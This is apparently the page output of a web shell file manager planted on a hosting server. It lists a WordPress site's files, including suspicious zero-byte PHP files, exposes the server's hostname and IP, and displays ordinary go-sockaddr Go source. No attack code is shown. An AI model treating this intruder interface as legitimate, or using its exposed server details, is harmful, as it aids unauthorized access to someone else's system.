XANNYANAXIUM FILE MANAGER

Navigate and manage your files

Current Directory
Upload File
Standard Upload
Advanced Upload

Status: No file selected

Create New
Name Type Size Modified Permission Actions
/ .. Directory — 2025-05-23 05:57:18 0755
/ wp-admin Directory — 2026-08-24 09:01:10 0755
/ wp-content Directory — 2026-09-23 15:34:11 0755
/ wp-includes Directory — 2026-09-23 15:34:04 0755
.htaccess HTACCESS 1.92 KB 2026-05-07 22:43:39 0644
.htaccess.bk BK 1.15 KB 2025-11-21 07:04:52 0644
.htaccess_old HTACCESS_OLD 1.80 KB 2025-11-21 07:14:55 0644
.user.ini INI 9 bytes 2026-01-05 06:16:59 0644
atomlib.php PHP 0 bytes 2026-09-22 09:09:48 0644
default.php PHP 15.99 KB 2025-05-23 12:16:32 0644
edits.php PHP 0 bytes 2026-09-22 08:49:13 0644
index.php PHP 1.30 KB 2026-09-22 06:21:28 0644
license.txt TXT 19.44 KB 2026-08-20 12:39:46 0644
phpinfo.php PHP 20 bytes 2025-05-23 05:57:32 0644
readme.html HTML 7.23 KB 2026-09-18 01:39:40 0644
robots.txt TXT 405 bytes 2026-09-22 07:12:19 0644
wp-activate.php PHP 7.54 KB 2026-08-20 12:39:46 0644
wp-blog-header.php PHP 351 bytes 2025-05-23 12:16:32 0644
wp-comments-post.php PHP 2.27 KB 2025-05-23 12:16:32 0644
wp-config-sample.php PHP 46 bytes 2026-09-23 15:34:06 0644
wp-config.php PHP 3.53 KB 2025-11-21 07:39:35 0644
wp-cron.php PHP 5.49 KB 2025-05-23 12:16:32 0644
wp-links-opml.php PHP 2.43 KB 2025-12-03 12:55:28 0644
wp-load.php PHP 3.84 KB 2025-05-23 12:16:32 0644
wp-login.php PHP 51.30 KB 2026-08-20 12:39:46 0644
wp-mail.php PHP 8.52 KB 2025-12-03 12:55:30 0644
wp-postnews.php PHP 12.59 KB 2026-09-23 09:22:15 0644
wp-settings.php PHP 32.38 KB 2026-08-20 12:39:46 0644
wp-signup.php PHP 34.26 KB 2026-08-20 12:39:46 0644
wp-sx9a.php PHP 0 bytes 2026-09-22 08:49:04 0644
wp-trackback.php PHP 5.27 KB 2026-08-20 12:39:46 0644
xmlrpc.php PHP 3.13 KB 2025-05-23 12:16:32 0644

Dir : /opt/go/pkg/mod/github.com/hashicorp/go-sockaddr@v1.0.6/template/
Server: Linux in-mum-web1754.main-hosting.eu 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
IP: 77.37.46.203
Choose File :
Url:
Dir : //opt/go/pkg/mod/github.com/hashicorp/go-sockaddr@v1.0.6/template/template.go

package template

import (
	"bytes"
	"fmt"
	"text/template"

	"github.com/hashicorp/errwrap"
	sockaddr "github.com/hashicorp/go-sockaddr"
)

var (
	// SourceFuncs is a map of all top-level functions that generate
	// sockaddr data types.
	SourceFuncs template.FuncMap

	// SortFuncs is a map of all functions used in sorting
	SortFuncs template.FuncMap

	// FilterFuncs is a map of all functions used in sorting
	FilterFuncs template.FuncMap

	// HelperFuncs is a map of all functions used in sorting
	HelperFuncs template.FuncMap
)

func init() {
	SourceFuncs = template.FuncMap{
		// GetAllInterfaces - Returns an exhaustive set of IfAddr
		// structs available on the host.  `GetAllInterfaces` is the
		// initial input and accessible as the initial "dot" in the
		// pipeline.
		"GetAllInterfaces": sockaddr.GetAllInterfaces,

		// GetDefaultInterfaces - Returns one IfAddr for every IP that
		// is on the interface containing the default route for the
		// host.
		"GetDefaultInterfaces": sockaddr.GetDefaultInterfaces,

		// GetPrivateInterfaces - Returns one IfAddr for every IP that
		// matches RFC 6890, are attached to the interface with the
		// default route, and are forwardable IP addresses.  NOTE: RFC
		// 6890 is a more exhaustive version of RFC1918 because it spans
		// IPv4 and IPv6, however it doespermit the inclusion of likely
		// undesired addresses such as multicast, therefore our
		// definition of a "private" address also excludes
		// non-forwardable IP addresses (as defined by the IETF).
		"GetPrivateInterfaces": sockaddr.GetPrivateInterfaces,

		// GetPublicInterfaces - Returns a list of IfAddr that do not
		// match RFC 6890, are attached to the default route, and are
		// forwardable.
		"GetPublicInterfaces": sockaddr.GetPublicInterfaces,
	}

	SortFuncs = template.FuncMap{
		"sort": sockaddr.SortIfBy,
	}

	FilterFuncs = template.FuncMap{
		"exclude": sockaddr.ExcludeIfs,
		"include": sockaddr.IncludeIfs,
	}

	HelperFuncs = template.FuncMap{
		// Misc functions that operate on IfAddrs inputs
		"attr":   Attr,
		"join":   sockaddr.JoinIfAddrs,
		"limit":  sockaddr.LimitIfAddrs,
		"offset": sockaddr.OffsetIfAddrs,
		"unique": sockaddr.UniqueIfAddrsBy,

		// Misc math functions that operate on a single IfAddr input
		"math": sockaddr.IfAddrsMath,

		// Return a Private RFC 6890 IP address string that is attached
		// to the default route and a forwardable address.
		"GetPrivateIP": sockaddr.GetPrivateIP,

		// Return all Private RFC 6890 IP addresses as a space-delimited string of
		// IP addresses.  Addresses returned do not have to be on the interface with
		// a default route.
		"GetPrivateIPs": sockaddr.GetPrivateIPs,

		// Return a Public RFC 6890 IP address string that is attached
		// to the default route and a forwardable address.
		"GetPublicIP": sockaddr.GetPublicIP,

		// Return allPublic RFC 6890 IP addresses as a space-delimited string of IP
		// addresses.  Addresses returned do not have to be on the interface with a
		// default route.
		"GetPublicIPs": sockaddr.GetPublicIPs,

		// Return the first IP address of the named interface, sorted by
		// the largest network size.
		"GetInterfaceIP": sockaddr.GetInterfaceIP,

		// Return all IP addresses on the named interface, sorted by the largest
		// network size.
		"GetInterfaceIPs": sockaddr.GetInterfaceIPs,
	}
}

// Attr returns the attribute from the ifAddrRaw argument.  If the argument is
// an IfAddrs, only the first element will be evaluated for resolution.
func Attr(selectorName string, ifAddrsRaw interface{}) (string, error) {
	switch v := ifAddrsRaw.(type) {
	case sockaddr.IfAddr:
		return sockaddr.IfAttr(selectorName, v)
	case sockaddr.IfAddrs:
		return sockaddr.IfAttrs(selectorName, v)
	default:
		return "", fmt.Errorf("unable to obtain attribute %s from type %T (%v)", selectorName, ifAddrsRaw, ifAddrsRaw)
	}
}

// Parse parses input as template input using the addresses available on the
// host, then returns the string output if there are no errors.
func Parse(input string) (string, error) {
	addrs, err := sockaddr.GetAllInterfaces()
	if err != nil {
		return "", errwrap.Wrapf("unable to query interface addresses: {{err}}", err)
	}

	return ParseIfAddrs(input, addrs)
}

// ParseIfAddrs parses input as template input using the IfAddrs inputs, then
// returns the string output if there are no errors.
func ParseIfAddrs(input string, ifAddrs sockaddr.IfAddrs) (string, error) {
	return ParseIfAddrsTemplate(input, ifAddrs, template.New("sockaddr.Parse"))
}

// ParseIfAddrsTemplate parses input as template input using the IfAddrs inputs,
// then returns the string output if there are no errors.
func ParseIfAddrsTemplate(input string, ifAddrs sockaddr.IfAddrs, tmplIn *template.Template) (string, error) {
	// Create a template, add the function map, and parse the text.
	tmpl, err := tmplIn.Option("missingkey=error").
		Funcs(SourceFuncs).
		Funcs(SortFuncs).
		Funcs(FilterFuncs).
		Funcs(HelperFuncs).
		Parse(input)
	if err != nil {
		return "", errwrap.Wrapf(fmt.Sprintf("unable to parse template %+q: {{err}}", input), err)
	}

	var outWriter bytes.Buffer
	err = tmpl.Execute(&outWriter, ifAddrs)
	if err != nil {
		return "", errwrap.Wrapf(fmt.Sprintf("unable to execute sockaddr input %+q: {{err}}", input), err)
	}

	return outWriter.String(), nil
}